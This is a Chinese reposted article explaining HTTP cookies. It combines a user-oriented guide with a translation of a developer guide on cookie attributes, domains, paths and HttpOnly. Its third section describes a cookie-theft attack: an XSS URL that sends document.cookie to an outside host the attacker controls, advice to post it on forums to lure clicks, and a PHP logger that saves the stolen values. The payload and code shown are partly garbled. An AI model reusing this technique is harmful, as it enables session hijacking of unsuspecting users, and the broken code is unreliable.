cookies原理详解

来源:互联网 发布:对于上海踩踏事件知乎 编辑:程序博客网 时间:2024/06/06 03:32

(一)从使用者角度:

Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!

   一.了解Cookie 适用对象:初级读者

   Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以 user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在 “C:PROGRAMFILESNETSCAPEUSERS”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。

   为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。

   Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server 是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据


二、Cookie的传递流程 适用对象:中级读者

   当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找 Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到 Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。
Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。


三、Cookie的编程实现 适用对象:高级读者

   多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie 进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。

   1.分析并构造URL

   首先打开我们要收集Cookie的网站,这里假设是htp://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“htp://www.XXX.net/txl/login/login....x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造URL:“htp://www.cbifamily.org /cbi.php?"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">htp://www.XXX.net/txl/login/log ... swd=&ok.x=28&ok.y=6”。其中htp:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。

   2.编制PHP脚本

   该脚本的作用就是收集Cookie文件,具体内容如下:


$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."n";
fclose($fp);
}
header("Location: htp://www.XXX.net";
?>


四、Cookie的安全问题 适用对象:所有希望上网安全的读者

   1.Cookie欺骗

   Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。

   2.Flash的代码隐患

Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。


(二)从开发者角度

HTTP cookies,通常又称作"cookies",已经存在了很长时间,但是仍旧没有被予以充分的理解。首要的问题是存在了诸多误区,认为cookies是后门程序或病毒,或压根不知道它是如何工作的。第二个问题是对于cookies缺少一个一致性的接口。尽管存在着这些问题,cookies仍旧在web开发中起着如此重要的作用,以至于如果cookie在没有可替代品出现的情况下消失,我们许多喜欢的Web应用将变得毫无用处。

       cookies的起源

       早期Web开发面临的最大问题之一是如何管理状态。简言之,服务器端没有办法知道两个请求是否来自于同一个浏览器。那时的办法是在请求的页面中插入一个token,并且在下一次请求中将这个token返回(至服务器)。这就需要在form中插入一个包含token的隐藏表单域,或着在URLqurey字符串中传递该token。这两种办法都强调手工操作并且极易出错。

       Lou Montulli,那时是网景通讯的一个雇员,被认为在1994年将“magic cookies”的概念应用到了web通讯中。他意图解决的是web中的购物车,现在所有购物网站都依赖购物车。他的最早的说明文档提供了一些cookies工作原理的基本信息该文档在RFC2109中被规范化(这是所有浏览器实现cookies的参考依据),并且最终逐步形成了REF2965.Montulli最终也被授予了关于cookies的美国专利。网景浏览器在它的第一个版本中就开始支持cookies,并且当前所有web浏览器都支持cookies

       cookie是什么?

       坦白的说,一个cookie就是存储在用户主机浏览器中的一小段文本文件。Cookies是纯文本形式,它们不包含任何可执行代码。一个Web页面或服务器告之浏览器来将这些信息存储并且基于一系列规则在之后的每个请求中都将该信息返回至服务器。Web服务器之后可以利用这些信息来标识用户。多数需要登录的站点通常会在你的认证信息通过后来设置一个cookie,之后只要这个cookie存在并且合法,你就可以自由的浏览这个站点的所有部分。再次,cookie只是包含了数据,就其本身而言并不有害。

       创建cookie

       通过HTTPSet-Cookie消息头,Web服务器可以指定存储一个cookieSet-Cookie消息的格式如下面的字符串(中括号中的部分都是可选的)

1Set-Cookie:value [ ;expires=date][ ;domain=domain][ ;path=path][ ;secure]

      消息头的第一部分,value部分,通常是一个name=value格式的字符串。事实上,原始手册指示这是应该使用的格式,但是浏览器对cookie的所有值并不会按此格式校验。实际上,你可以指定一个不包含等号的字符串并且它同样会被存储。然而,通常性的使用方式是以name=value的格式(并且多数的接口只支持该格式)来指定cookie的值。

       当一个cookie存在,并且可选条件允许的话,该cookie的值会在接下来的每个请求中被发送至服务器。cookie值被存储在名为CookieHTTP消息头中,并且只包含了cookie的值,其它的选项全部被去除。例如:        

1Cookie : value

       通过Set-Cookie指定的选项只是应用于浏览器端,一旦选项被设置后便不会被服务器重新取回。cookie的值与Set-Cookie中指定的值是完全一样的字符串;对于这些值不会有更近一步的解析或转码操作。如果在指定的请求中有多个cookies,那么它们会被分号和空格分开,例如:

1Cookie:value1 ; value2 ; name1=value1

      服务器端框架通常会提供解析cookies的功能,并且通过编程方式获取cookies的值。

      cookie编码(cookie encoding

      对于cookie的值进行编码一直都存在一些困惑。通常的观点是cookie的值必须被URL编码,但是这其实是一个谬误,尽管可以对cookie的值进行URL编码。原始的文档中指示仅有三种类型的字符必须进行编码:分号,逗号,和空格。规范中提到可以利用URL编码,但是并不是必须。RFC没有提及任何的编码。然而,几乎所有的实现方式都对cookie的值进行了一些列的URL编码。对于name=value的格式,namevalue通常都单独进行编码并且不对等号“=”进行编码操作。

      有效期选项(The expires  option

      紧跟cookie值后面的每个选项都以分号和空格分割,并且每个选项都指定cookie何时应该被发送到服务器。第一个选项是expires,其指定了cookie何时不会再被发送到服务器端的,因此该cookie可能会被浏览器删掉。该选项所对应的值是一个格式为Wdy,DD-Mon--YYYY HH:MM:SS GMT的值,例如:

1Set-Cookie:name=Nicholas;expires=Sat, 02 May 2009 23:38:25 GMT

      在没有expires选项时,cookie的寿命仅限于单一的会话中。浏览器的关闭意味这一次会话的结束,所以会话cookie只存在于浏览器保持打开的状态之下。这就是为什么当你登录到一个web应用时经常看到一个checkbox,询问你是否选择存储你的登录信息:如果你选择是的话,那么一个expires选项会被附加到登录的cookie中。如果expires选项设置了一个过去的时间点,那么这个cookie会被立即删除。

       domain选项(The domain option

      下一个选项是domain,指示cookie将要发送到哪个域或那些域中。默认情况下,domain会被设置为创建该cookie的页面所在的域名。例如本站中的cookiedomain属性的默认值为www.nczonline.comdomain选项被用来扩展cookie值所要发送域的数量。例如:

1Set-Cookie:name=Nicholas;domain=nczonline.net

       想象诸如Yahoo这样的大型网站都会有许多以name.yahoo.com(例如:my.yahoo.com,finance.yahoo.com,等)为格式的站点。单独的一个cookie可以简单的通过将其domain选项设置为yahoo.com而发送到所有这些站点中。浏览器会对domain的值与请求所要发送至的域名,做一个尾部比较(即从字符串的尾部开始比较),并且在匹配后发送一个Cookie消息头。

      domain设置的值必须是发送Set-Cookie消息头的域名。例如,我无法向google.com发送一个cookie,因为这个产生安全问题。不合法的domain选项只要简单的忽略即可。

        Path选项(The path option

       另一个控制何时发送Cookie消息头的方式是指定path选项。与domain选项相同的是,path指明了在发Cookie消息头之前必须在请求资源中存在一个URL路径。这个比较是通过将path属性值与请求的URL从头开始逐字符串比较完成的。如果字符匹配,则发送Cookie消息头,例如:

1Set-Cookie:name=Nicholas;path=/blog

       在这个例子中,path选项值会与/blog,/blogrool等等相匹配;任何以/blog开头的选项都是合法的。要注意的是只有在domain选项核实完毕之后才会对path属性进行比较。path属性的默认值是发送Set-Cookie消息头所对应的URL中的path部分。

        secure选项(The  secure  option

      最后一个选项是secure。不像其它选项,该选项只是一个标记并且没有其它的值。一个secure cookie只有当请求是通过SSLHTTPS创建时,才会发送到服务器端。这种cookie的内容意指具有很高的价值并且可能潜在的被破解以纯文本形式传输。例如

1Set-Cookie:name=Nicholas;secure

      现实中,机密且敏感的信息绝不应该在cookies中存储或传输,因为cookies的整个机制都是原本不安全的。默认情况下,在HTTPS链接上传输的cookies都会被自动添加上secure选项。

        cookie的维护和生命周期(cookie maintenance and lifecycle

       任意数量的选项都可以在单一的cookie中指定,并且这些选项可以以任何顺序存在,例如

1Set-Cookie:name=Nicholas; domain=nczonline.net; path=/blog

       这个cooke有四个标识符:cookienamedomainpathsecure标记。要想在将来改变这个cookie的值,需要发送另一个具有相同cookie name,domain,pathSet-Cookie消息头。例如:

1Set-Cooke:name=Greg; domain=nczonline.net; path=/blog

       这将以一个新的值来覆盖原来cookie的值。然而,仅仅只是改变这些选项的某一个也会创建一个完全不同的cookie,例如:

1Set-Cookie:name=Nicholas; domain=nczonline.net; path=/

        在返回这个消息头后,会存在两个同时拥有“name”的不同的cookie。如果你访问在www.nczonline.net/blog下的一个页面,以下的消息头将被包含进来:

1Cookie:name=Greg;name=Nicholas

       在这个消息头中存在了两个名为“name”的cookiepath值越详细则cookie越靠前。domain-path越详细则cookie字符串越靠前。假设我在ww.nczonline.net/blog下并且发送了另一个cookie,其设置如下:

1Set-Cookie:name=Mike

       那么返回的消息头现在则变为:

1Cookie:name=Mike;name=Greg;name=Nicholas

       由于包含“Mike”的cookie使用了域名(www.nczonline.net)作为其domain值并且以全路径(/blog)作为其path值,则它较其它两个cookie更加详细。

    使用失效日期(using expiration dates

       当cookie创建时包含了失效日期,这个失效日期则关联了以name-domain-path-secure为标识的cookie。要改变一个cookie的失效日期,你必须指定同样的组合。当改变一个cookie的值时,你不必每次都设置失效日期,因为它不是cookie标识信息的组成部分。例如:

1Set-Cookie:name=Mike;expires=Sat,03 May 2025 17:44:22 GMT

        现在已经设置了cookie的失效日期,所以下次我想要改变cookie的值时,我只需要使用它的名字:

1Set-Cookie:name=Matt

       在cookie上的失效日期并没有改变,因为cookie的标识符是相同的。实际上,只有你手工的改变cookie的失效日期,否则其失效日期不会改变。这意味着在同一个会话中,一个会话cookie可以变成一个持久化cookie(一个可以在多个会话中存在的),反之则不可。为了要将一个持久化cookie变为一个会话cookie,你必须删除这个持久化cookie,这只要设置它的失效日期为过去某个时间之后再创建一个同名的会话cookie就可以实现。

       需要记得的是失效日期是以浏览器运行的电脑上的系统时间为基准进行核实的。没有任何办法来来验证这个系统时间是否和服务器的时间同步,所以当服务器时间和浏览器所处系统时间存在差异时这样的设置会出现错误。

       cookie自动删除(automatic cookie removal

       cookie会被浏览器自动删除,通常存在以下几种原因:

  • 会话cooke(Session cookie)在会话结束时(浏览器关闭)会被删除
  • 持久化cookiePersistent cookie)在到达失效日期时会被删除
  • 如果浏览器中的cookie限制到达,那么cookies会被删除以为新建cookies创建空间。详见我的另外一篇关于cookies restrictions的博客

       对于任何这些自动删除来说,Cookie管理显得十分重要,因为这些删除都是无意识的。

       Cookie限制条件(Cookie restrictions

       在cookies上存在了诸多限制条件,来阻止cookie滥用并保护浏览器和服务器免受一些负面影响。有两种cookies的限制条件:cookies的属性和cookies的总大小。原始的规范中限定每个域名下不超过20cookies,早期的浏览器都遵循该规范,并且在IE7中有个更近一步的提升。在微软的一次更新中,他们在IE7增加cookies的限制到50个,与此同时Opera限定cookies个数为30.SafariChrome对与每个域名下的cookies个数没有限制。

       发向服务器的所有cookies的最大数量(空间)仍旧维持原始规范中所指出的:4KB。所有超出该限制的cookies会被截掉并且不会发送至服务器。

        Subcookies

       鉴于cookie的数量限制,开发者提出的subcookies的观点来增加cookies的存储量。Subcookies是一些存储在一个cookievalue中的一些name-value对,并且通常与以下格式类似:

1name=a=b&c=d&e=f&g=h

      这种方式允许在单个cookie中保存多个name-value对,而不会超过浏览器cookie的数量限制。通过这种方式创建cookies的负面影响是,需要自定义解析方式来提取这些值,相比较而言cookies的格式会更为简单。服务器端框架已开始支持subcookies的存储。我编写的YUI Cookie utility,支持在javascript中读/写subcookies

        Javascript中的cookie(cookie In Javascript

       通过Javascript中的document.cookie属性,你可以创建,维护和删除cookies。当要创建cookies时该属性等同于Set-Cookie消息头,而在读取cookie时则等同于Cookie消息头。在创建一个cookie时,你需要使用和Set-Cookie期望格式相同的字符串:

1document.cookie="name=Nicholas;domain=nczonline.net;path=/";

       设置document.cookie属性的值并不会删除存储在页面中的所有cookies。它只简单的创建或修改字符串中指定的cookies。下次发送一个请求到服务器时,这些cookies(通过document.cookie设置的)会和其它通过Set-Cookie消息头设置的cookies一样发送至服务器。所有这些cookies并没有什么明确的不同之处。

       要使用Javascript提取cookie的值时,只要从document.cookie中读取即可。返回的字符串与Cookie消息头中的字符串格式相同,所以多个cookies会被分号和字符串分割。例如:

1name1=Greg; name2=Nicholas

        鉴于此,你需要手工解析这个cookie字符串来提取真实的cookie数据。当前已有许多描述利用Javascript来解析cookie的资料,包括我的书,Professional Javascript,所以在这我就不再说明。通常利用已存在的Javascript库操作cookie会更简单,如YUI Cookie utility 来在Javascript中处理cookies而不要手工重新创建这些算法。

        通过访问document.cookie返回的cookies遵循发向服务器的cookies一样的访问规则。要通过Javascript访问cookies,该页面和cookies必须在相同的域中,有相同的path,有相同的安全级别。

       注意:一旦cookies通过Javascript设置后遍不能提取它的选项,所以你将不会知道domainpathexpiration日期secure标记。

        HTTP-Only cookies

       微软的IE6 SP1cookies中引入了一个新的选项:HTTP-only cookies.HTTP-Only背后的意思是告之浏览器该cookie不应该通过Javascriptdocument.cookie属性访问。设计该特征意在提供一个安全措施来帮助阻止通过Javascript发起的跨站脚本攻击(XSS)窃取cookie的行为(我会在另一篇博客中讨论安全问题,本篇如此已足够)。今Firefox2.0.0.5+Opera9.5+,Chrome都支持HTTP-Only cookies3.2版本的Safari仍不支持。

       要创建一个HTTP-Only cookie,只要向你的cookie中添加一个HTTP-Only标记即可:

1Set-Cookie: name=Nicholas; HttpOnly

       一旦设定这个标记,通过documen.coookie则不能再访问该cookieIE同时更近一步并且不允许通过XMLHttpRequestgetAllResponseHeaders()getResponseHeader()方法访问cookie,然而其它浏览器则允许此行为。Firefox3.0.6修复了该漏洞,然而仍旧有许多浏览器漏洞存在,complete browser support list列出了这些。

      你不能通过JavaScript设置HTTP-only cookies,因为你不能再通过JavaScript读取这些cookies,这是情理之中的事情。

      总结(conclusion

      为了高效的利用cookies,仍旧有许多要了解和弄明白的东西。对于一项创建于十多年前但仍旧如最初实现的那样被使用至今的技术来说,这是件多不可思议的事。本篇只是提供了一些每个人都应该知道的关于浏览器cookies的基本指导,但无论如何,也不是一个完整的参考。对于今天的web来说Cookies仍旧起着非常重要的作用,并且不恰当的管理cookies会导致各种安全性的问题,从最糟糕的用户体验到安全漏洞。我希望这篇手册能够激起一些关于cookies的不可思议的亮点。

     写在后面的:

     该文章是2009年的,到现在可能已经算一篇比较老的文章,但是文章中关于cookies的讲解十分详细,最近在学习cookies时,读到该文章,觉得值得大家一读,同时也作为自己的参考吧,所以将原文翻译为中文。文中较为详细的讲解了关于cookies的起源,所要解决的问题,以及cookies的本身的属性和每个属性的作用,以及相关浏览器对于cookies的实现情况和延伸情况,正如作者所表达的那样,cookies作为一项十几年前创建却一直沿用至今的技术,值得每个开发者思考并了解和弄明白关于cookies的一些基本信息和原理,译文中尽量保证还原原文本意,但水平有限,一些语句翻译的比较生涩,建议和原文对比阅读,效果可能会比较好一点。

    关于作者: Nicholas C. Zakas,资深前端工程师,曾在yahoo工作近五年,并担任前端开发技术领导,他的著作有《javascript 高级程序设计》是一本高质量的前端技术著作。

    注:原文链接,转载时请保存原作者链接。


0 0
原创粉丝点击